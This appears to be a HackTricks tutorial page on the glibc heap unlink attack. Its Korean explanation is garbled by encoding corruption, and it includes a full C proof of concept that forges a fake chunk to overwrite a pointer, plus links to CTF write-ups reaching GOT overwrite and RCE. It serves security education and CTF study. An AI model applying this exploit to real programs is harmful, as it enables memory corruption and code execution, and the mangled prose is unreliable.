Unlink Attack
Last updated
Last updated
AWS ํดํน ํ์ต ๋ฐ ์ค์ต:HackTricks Training AWS Red Team Expert (ARTE) GCP ํดํน ํ์ต ๋ฐ ์ค์ต: HackTricks Training GCP Red Team Expert (GRTE)
๊ตฌ๋ ์๊ธ์ ๋ฅผ ํ์ธํ์ธ์!
๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
HackTricks ๋ฐ HackTricks Cloud ๊นํ ๋ ํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ๊ณต๊ฒฉ์ด ๋ฐ๊ฒฌ๋์์ ๋ ๋๋ถ๋ถ WWW (Write What Where)๋ฅผ ํ์ฉํ์ง๋ง, ์ผ๋ถ ๊ฒ์ฌ๊ฐ ์ถ๊ฐ๋์ด ๊ณต๊ฒฉ์ ์ ๋ฒ์ ์ด ๋ ํฅ๋ฏธ๋กญ๊ณ ๋ ๋ณต์กํ๋ฉฐ ์ธ๋ชจ์๋ ๊ฒ์ผ๋ก ๋ง๋ค์ด์ก์ต๋๋ค.
```c #include #include #include #include
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
* ๊ณต๊ฒฉ์ tcaches๊ฐ ์ฌ์ฉ๋ ๊ฒฝ์ฐ ์๋ํ์ง ์์ต๋๋ค (2.26 ์ดํ)
### ๋ชฉํ
์ด ๊ณต๊ฒฉ์ **๋ฉ์ด๋ฆฌ๋ฅผ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ๋ฅผ ์์ ์ 3 ์ฃผ์ ์์ผ๋ก ๋ณ๊ฒฝ**ํ๋ ๊ฒ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ์ด ์๋ก์ด ์์น(ํฌ์ธํฐ๊ฐ ์์นํ๋ ์ฃผ๋ณ)์ ํฅ๋ฏธ๋ก์ด ๋ด์ฉ์ด ์์ผ๋ฉด, ๋ค๋ฅธ ์ ์ด ๊ฐ๋ฅํ ํ ๋น/์คํ ๋ฑ์ด ์์ ์ ์์ด ๋ ํฐ ํผํด๋ฅผ ์ผ์ผํฌ ์ ์์ต๋๋ค.
* ๋ง์ฝ ์ด ํฌ์ธํฐ๊ฐ ์คํ์ ์์นํ๋ค๋ฉด, ์ด์ 3 ์ฃผ์ ์์ ๊ฐ๋ฆฌํค๊ณ ์๊ธฐ ๋๋ฌธ์ ์ฌ์ฉ์๊ฐ ์ด๋ฅผ ์ฝ๊ณ ์์ ํ ์ ์์ผ๋ฏ๋ก, ์คํ์์ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ์ ์ถํ๊ฑฐ๋ ์ฌ์ง์ด canary๋ฅผ ๊ฑด๋๋ฆฌ์ง ์๊ณ ๋ฐํ ์ฃผ์๋ฅผ ์์ ํ ์ ์์ ๊ฒ์
๋๋ค.
* CTF ์์์์, ์ด ํฌ์ธํฐ๋ ๋ค๋ฅธ ํ ๋น์ ๋ํ ํฌ์ธํฐ ๋ฐฐ์ด์ ์์นํด ์์ผ๋ฏ๋ก, 3 ์ฃผ์ ์์ ๊ฐ๋ฆฌํค๋๋ก ๋ง๋ค์ด ๋ค๋ฅธ ํฌ์ธํฐ๋ค์ด ๋ค๋ฅธ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ํ ์ ์์ต๋๋ค.\
์ฌ์ฉ์๊ฐ ๋ค๋ฅธ ํ ๋น๋ ์ฝ๊ณ ์ธ ์ ์๊ธฐ ๋๋ฌธ์ ์ ๋ณด๋ฅผ ์ ์ถํ๊ฑฐ๋ ์์์ ์์น(์: GOT)์ ์ ์ฃผ์๋ฅผ ๋ฎ์ด์ธ ์ ์์ต๋๋ค.
### ์๊ตฌ ์ฌํญ
* ๋ฉ๋ชจ๋ฆฌ(์: ์คํ)์์ ์ผ๋ถ ์ ์ด๋ฅผ ์ป์ด ์ผ๋ถ ์์ฑ์ ๊ฐ์ ์ ๊ณตํ์ฌ ๋ฉ์ด๋ฆฌ๋ฅผ ๋ช ๊ฐ ๋ง๋ญ๋๋ค.
* ๊ฐ์ง ๋ฉ์ด๋ฆฌ์ ํฌ์ธํฐ๋ฅผ ์ค์ ํ๊ธฐ ์ํด ์คํ ์ ์ถ์ด ํ์ํฉ๋๋ค.
### ๊ณต๊ฒฉ
* ๋ ๊ฐ์ ๋ฉ์ด๋ฆฌ๊ฐ ์์ต๋๋ค (chunk1 ๋ฐ chunk2)
* ๊ณต๊ฒฉ์๋ chunk1์ ๋ด์ฉ๊ณผ chunk2์ ํค๋๋ฅผ ์ ์ดํฉ๋๋ค.
* chunk1์์ ๊ณต๊ฒฉ์๋ ๊ฐ์ง ๋ฉ์ด๋ฆฌ์ ๊ตฌ์กฐ๋ฅผ ๋ง๋ญ๋๋ค:
* ๋ณดํธ ๊ธฐ๋ฅ์ ์ฐํํ๊ธฐ ์ํด `size` ํ๋๊ฐ ์ฌ๋ฐ๋ฅธ์ง ํ์ธํ์ฌ `corrupted size vs. prev_size while consolidating` ์ค๋ฅ๋ฅผ ํผํฉ๋๋ค.
* ๊ทธ๋ฆฌ๊ณ ๊ฐ์ง ๋ฉ์ด๋ฆฌ์ `fd` ๋ฐ `bk` ํ๋๊ฐ chunk1 ํฌ์ธํฐ๊ฐ ์ ์ฅ๋ ์์น๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ๋ง๋ค์ด์ค๋๋ค. ๊ฐ๊ฐ -3 ๋ฐ -2์ ์คํ์
์ ์ฌ์ฉํ์ฌ `fake_chunk->fd->bk` ๋ฐ `fake_chunk->bk->fd`๊ฐ ์ค์ chunk1 ์ฃผ์๊ฐ ์๋ ๋ฉ๋ชจ๋ฆฌ(์คํ) ์์น๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ํฉ๋๋ค:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* chunk2์ ํค๋๋ ์ด์ ๋ฉ์ด๋ฆฌ๊ฐ ์ฌ์ฉ๋์ง ์์์์ ๋ํ๋ด๊ณ , ๊ฐ์ง ๋ฉ์ด๋ฆฌ๊ฐ ํฌํจ๋ ํฌ๊ธฐ๊ฐ ํฌ๊ธฐ์์ ๋ํ๋ด๋๋ก ์์ ๋ฉ๋๋ค.
* ๋ ๋ฒ์งธ ๋ฉ์ด๋ฆฌ๊ฐ ํด์ ๋๋ฉด ์ด ๊ฐ์ง ๋ฉ์ด๋ฆฌ๊ฐ ์ฐ๊ฒฐ ํด์ ๋ฉ๋๋ค:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* ์ด์ ์ `fake_chunk->fd->bk` ๋ฐ `fake_chunk->bk->fd`๊ฐ ๋์ผํ ์์น(์คํ์ chunk1์ด ์ ์ฅ๋ ์์น)๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ๋ง๋ค์ด์ก์ผ๋ฏ๋ก ์ ํจํ ์ฐ๊ฒฐ๋ ๋ชฉ๋ก์ด์์ต๋๋ค. **๋ ์์น๊ฐ ๋์ผํ ์์น๋ฅผ ๊ฐ๋ฆฌํค๊ณ ์๊ธฐ ๋๋ฌธ์** ๋ง์ง๋ง ๊ฒ๋ง(`fake_chunk->bk->fd = fake_chunk->fd`) **์ ์ฉ**๋ฉ๋๋ค.
* ์ด๋ก ์ธํด ์คํ์ ์๋ chunk1์ ํฌ์ธํฐ๊ฐ ์คํ์์ 3 ์ฃผ์ ์์ ์ ์ฅ๋ ์ฃผ์(๋๋ ๋ฐ์ดํธ)๋ก ๋ฎ์ด์์์ง๋๋ค.
* ๋ฐ๋ผ์, ๊ณต๊ฒฉ์๊ฐ ๋ค์ chunk1์ ๋ด์ฉ์ ์ ์ดํ ์ ์๋ค๋ฉด, **์คํ ๋ด๋ถ์ ์ธ ์ ์๊ฒ ๋์ด canary๋ฅผ ๊ฑด๋๋ฆฌ์ง ์๊ณ ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ด์ฐ๊ณ ๋ก์ปฌ ๋ณ์์ ๊ฐ์ ๋ฐ ํฌ์ธํธ๋ฅผ ์์ ํ ์ ์์ ๊ฒ**์
๋๋ค. ๋ํ ๋ค์ chunk1์ด ์คํ์ ์ ์ฅ๋ ์ฃผ์๋ฅผ ๋ค๋ฅธ ์์น๋ก ์์ ํ ์ ์๊ฒ ๋๋ฉด, ๊ณต๊ฒฉ์๊ฐ ๋ค์ chunk1์ ๋ด์ฉ์ ์ ์ดํ ์ ์๋ค๋ฉด ์ด๋๋ ์ธ ์ ์์ ๊ฒ์
๋๋ค.
* ์ด๊ฒ์ด ๊ฐ๋ฅํ๋ ์ด์ ๋ **์ฃผ์๊ฐ ์คํ์ ์ ์ฅ**๋์ด ์์๊ธฐ ๋๋ฌธ์
๋๋ค. ์ํ ๋ฐ ์
์ฉ์ **๊ฐ์ง ๋ฉ์ด๋ฆฌ์ ์ฃผ์๊ฐ ์ด๋์ ์ ์ฅ๋์ด ์๋์ง**์ ๋ฐ๋ผ ๋ฌ๋ผ์ง ์ ์์ต๋๋ค.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## ์ฐธ๊ณ ์๋ฃ
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* CTF์์ ์ฌ์ง์ด unlink ๊ณต๊ฒฉ์ ์ฐพ๋ ๊ฒ์ด ์ด์ํ ์ ์์ง๋ง, ์ด ๊ณต๊ฒฉ์ด ์ฌ์ฉ๋ writeup์ ํ์ธํ ์ ์๋ ๋ช ๊ฐ์ง ์์๊ฐ ์์ต๋๋ค:
* CTF ์์: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* ์ด ์์์์๋ ์คํ ๋์ malloc๋ ์ฃผ์์ ๋ฐฐ์ด์ด ์์ต๋๋ค. unlink ๊ณต๊ฒฉ์ ์ฌ๊ธฐ์ ๋ฉ์ด๋ฆฌ๋ฅผ ํ ๋นํ ์ ์๋๋ก ์ํ๋์ด malloc๋ ์ฃผ์์ ๋ฐฐ์ด์ ํฌ์ธํฐ๋ฅผ ์ ์ดํ ์ ์๊ฒ ํฉ๋๋ค. ๊ทธ๋ฐ ๋ค์, ์ด๋ฌํ ์ฃผ์์ ๋ฉ์ด๋ฆฌ ๋ด์ฉ์ ์์ ํ ์ ์๋ ๋ค๋ฅธ ๊ธฐ๋ฅ์ด ์์ด GOT๋ฅผ ๊ฐ๋ฆฌํค๋ ์ฃผ์๋ฅผ ์์ ํ์ฌ leaks ๋ฐ RCE๋ฅผ ์ป์ ์ ์์ต๋๋ค.
* ๋ค๋ฅธ CTF ์์: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* ์ด์ ์์์ ๋ง์ฐฌ๊ฐ์ง๋ก ํ ๋น ์ฃผ์์ ๋ฐฐ์ด์ด ์์ต๋๋ค. unlink ๊ณต๊ฒฉ์ ์ํํ์ฌ ์ฒซ ๋ฒ์งธ ํ ๋น ์ฃผ์๊ฐ ๋ฐฐ์ด ์์ ๋ถ๋ถ๋ณด๋ค ์์ ์๋ ๋ช ๊ฐ์ง ์์น๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ๋ง๋ค๊ณ , ๊ทธ๋ฐ ๋ค์ ์ด ์ ์์น์ ํ ๋น์ ๋ฎ์ด์๋๋ค. ๋ฐ๋ผ์, ๋ค๋ฅธ ํ ๋น์ ํฌ์ธํฐ๋ฅผ GOT์ atoi๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ๋ฎ์ด์ธ ์ ์์ผ๋ฉฐ, libc leak์ ์ป๊ธฐ ์ํด ์ด๋ฅผ ์ถ๋ ฅํ๊ณ , ๊ทธ๋ฐ ๋ค์ atoi GOT๋ฅผ one gadget ์ฃผ์๋ก ๋ฎ์ด์ธ ์ ์์ต๋๋ค.
* unlink ๊ณต๊ฒฉ๊ณผ ๋งค์ฐ ์ ์ฌํ ์ทจ์ฝ์ ์ ์
์ฉํ๋ ์ฌ์ฉ์ ์ ์ malloc ๋ฐ free ํจ์๊ฐ ์๋ CTF ์์: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* ์ฌ์ฉ์ ์ ์ malloc์ FD ๋ฐ BK ํฌ์ธํฐ๋ฅผ ์ ์ดํ ์ ์๋ ์ค๋ฒํ๋ก์ฐ๊ฐ ์์ต๋๋ค. ๋ํ ํ์ exec ๋นํธ๊ฐ ์์ด ํ ์ฃผ์๋ฅผ ์ ์ถํ๊ณ GOT์ ํจ์๋ฅผ ํ ๋ฉ์ด๋ฆฌ์ ์์ฝ๋๋ก ์คํํ ์ ์์ต๋๋ค.